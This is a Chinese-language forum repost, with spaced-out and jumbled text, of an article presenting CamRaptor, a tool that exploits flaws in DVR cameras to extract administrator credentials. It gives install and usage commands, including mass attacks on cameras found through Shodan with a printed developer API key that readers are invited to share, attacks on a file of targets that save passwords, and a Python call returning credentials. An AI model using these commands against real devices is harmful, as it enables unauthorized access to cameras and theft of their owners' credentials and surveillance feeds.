搜索

[17103] 2021-08-03_CamRaptor：一款针对DVR摄像头的漏洞利用工具

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-18
2021-08-03_CamRaptor：一款针对DVR摄像头的漏洞利用工具 C a m R a p t o r ： 一 款 针 对 D V R 摄 像 头 的 漏 洞 利 用 工 具 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 8 - 0 3 关 于 关 于 C a m R a p t o r C a m R a p t o r 是 一 款 针 对 D V R 摄 像 头 的 漏 洞 利 用 工 具 ， 它 可 以 利 用 当 前 主 流 D V R 摄 像 头 中 的 多 个 安 全 漏 洞 ， 帮 助 广 大 研 究 人 员 获 取 目 标 D V R 网 络 摄 像 头 的 管 理 员 凭 证 。 功 能 介 绍 功 能 介 绍 能 够 利 用 当 前 主 流 D V R 摄 像 头 中 的 多 个 安 全 漏 洞 ， 例 如 N o v o 、 C e N o v a 和 Q S e e 等 。 经 过 优 化 处 理 ， 支 持 以 多 线 程 的 形 式 同 时 攻 击 列 表 中 的 多 个 目 标 D V R 摄 像 头 。 简 单 的 命 令 行 接 口 和 A P I 使 用 方 法 。 工 具 安 装 工 具 安 装 由 于 C a m R a p t o r 使 用 P y t h o n 3 开 发 ， 因 此 首 先 需 要 在 本 地 设 备 上 安 装 并 配 置 好 P y t h o n 3 环 境 。 接 下 来 ， 广 大 研 究 人 员 可 以 使 用 下 列 命 令 下 载 并 安 装 C a m R a p t o r ： 工 具 基 础 使 用 C a m R a p t o r 的 使 用 非 常 简 单 ， 我 们 只 需 要 在 命 令 行 终 端 中 输 入 “ c a m r a p t o r ” 命 令 即 可 使 用 C a m R a p t o r ： p i p 3   i n s t a l l   g i t + h t t p s : / / g i t h u b . c o m / E n t y S e c / C a m R a p t o r u s a g e :   c a m r a p t o r   [ - h ]   [ - t ]   [ - o   O U T P U T ]   [ - i   I N P U T ]   [ - a   A D D R E S S ]                                   [ - - s h o d a n   S H O D A N ]   [ - - z o o m e y e   Z O O M E Y E ]   [ - p   P A G E S ] C a m R a p t o r   i s   a   t o o l   t h a t   e x p l o i t s   s e v e r a l   v u l n e r a b i l i t i e s   i n   p o p u l a r   D V R c a m e r a s   t o   o b t a i n   n e t w o r k   c a m e r a   c r e d e n t i a l s . o p t i o n a l   a r g u m e n t s :
工 具 使 用 样 例 工 具 使 用 样 例 攻 击 单 个 摄 像 头 攻 击 单 个 摄 像 头 下 列 命 令 可 以 攻 击 单 个 D V R 摄 像 头 ： 通 过 网 络 攻 击 远 程 D V R 摄 像 头 接 下 来 ， 我 们 可 以 使 用 S h o d a n 搜 索 引 擎 来 搜 索 并 攻 击 网 络 上 的 摄 像 头 ， 此 时 我 们 可 以 使 用 - t 参 数 来 设 置 多 线 程 数 量 以 获 得 更 好 的 性 能 ： 注 意 ： 项 目 中 给 出 的 S h o d a n   A P I 密 钥 （ P S K I N d Q e 1 G y x G g e c Y z 2 1 9 1 H 2 J o S 9 q v g D ） 是 开 发 人 员 自 己 的 专 业 版 A P I 密 钥 ， 你 可 以 使 用 你 自 己 的 密 钥 ， 当 然 了 你 想 用 开 发 人 员 的 也 没 意 见 ， 大 家 资 源 共 享 嘛 ！ 从 输 入 文 件 获 取 目 标 摄 像 头 从 输 入 文 件 获 取 目 标 摄 像 头 我 们 还 可 以 使 用 开 放 数 据 库 中 提 供 的 摄 像 头 地 址 ， 此 时 我 们 可 以 使 用 - t 参 数 来 设 置 多 线 程 数 量 以 获 得 更 好 的 性 能 ： 注 意 ： 此 命 令 将 会 攻 击 c a m e r a s . t x t 中 给 出 的 所 有 摄 像 头 ， 并 会 将 所 有 获 取 到 的 密 码 存 储 至 p a s s w o r d s . t x t 文 件 中 。 A P I 使 用 使 用 C a m R a p t o r 还 提 供 了 自 己 的 P y t h o n   A P I ， 可 以 将 其 导 入 至 你 们 自 己 的 项 目 代 码 中 并 调 用 其 功 能 ：     - h ,   - - h e l p                         显 示 这 个 帮 助 信 息 并 退 出     - t ,   - - t h r e a d s                   启 用 多 线 程 模 式 以 获 得 更 好 的 性 能     - o   O U T P U T ,   - - o u t p u t   O U T P U T                                                 将 结 果 存 储 至 文 件     - i   I N P U T ,   - - i n p u t   I N P U T                                                 地 址 输 入 文 件     - a   A D D R E S S ,   - - a d d r e s s   A D D R E S S                                                 提 供 单 个 地 址     - - s h o d a n   S H O D A N               通 过 网 络 利 用 远 程 设 备 所 使 用 的 S h o d a n   A P I 密 钥     - - z o o m e y e   Z O O M E Y E           通 过 网 络 利 用 远 程 设 备 所 使 用 的 Z o o m E y e   A P I 密 钥     - p   P A G E S ,   - - p a g e s   P A G E S                                                 需 要 通 过 Z o o m E y e 获 取 的 页 面 数 量 c a m r a p t o r   - a   1 9 2 . 1 6 8 . 9 9 . 1 0 0 c a m r a p t o r   - t   - - s h o d a n   P S K I N d Q e 1 G y x G g e c Y z 2 1 9 1 H 2 J o S 9 q v g D c a m r a p t o r   - t   - i   c a m e r a s . t x t   - o   p a s s w o r d s . t x t
基 础 函 数 基 础 函 数 e x p l o i t ( a d d r e s s ) ： 根 据 给 定 的 地 址 针 对 单 个 目 标 执 行 漏 洞 利 用 攻 击 ； 调 用 样 例 调 用 样 例 攻 击 单 个 摄 像 头 ： 攻 击 单 个 摄 像 头 ： 项 目 地 址 项 目 地 址 C a m R a p t o r ： 【 点 击 底 部 阅 读 原 文 获 取 】 精 彩 推 荐 精 彩 推 荐 f r o m   c a m r a p t o r   i m p o r t   C a m R a p t o r f r o m   c a m r a p t o r   i m p o r t   C a m R a p t o r c a m r a p t o r   =   C a m R a p t o r ( ) c r e d s   =   c a m r a p t o r . e x p l o i t ( ' 1 9 2 . 1 6 8 . 9 9 . 1 0 0 ' ) p r i n t ( c r e d s )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理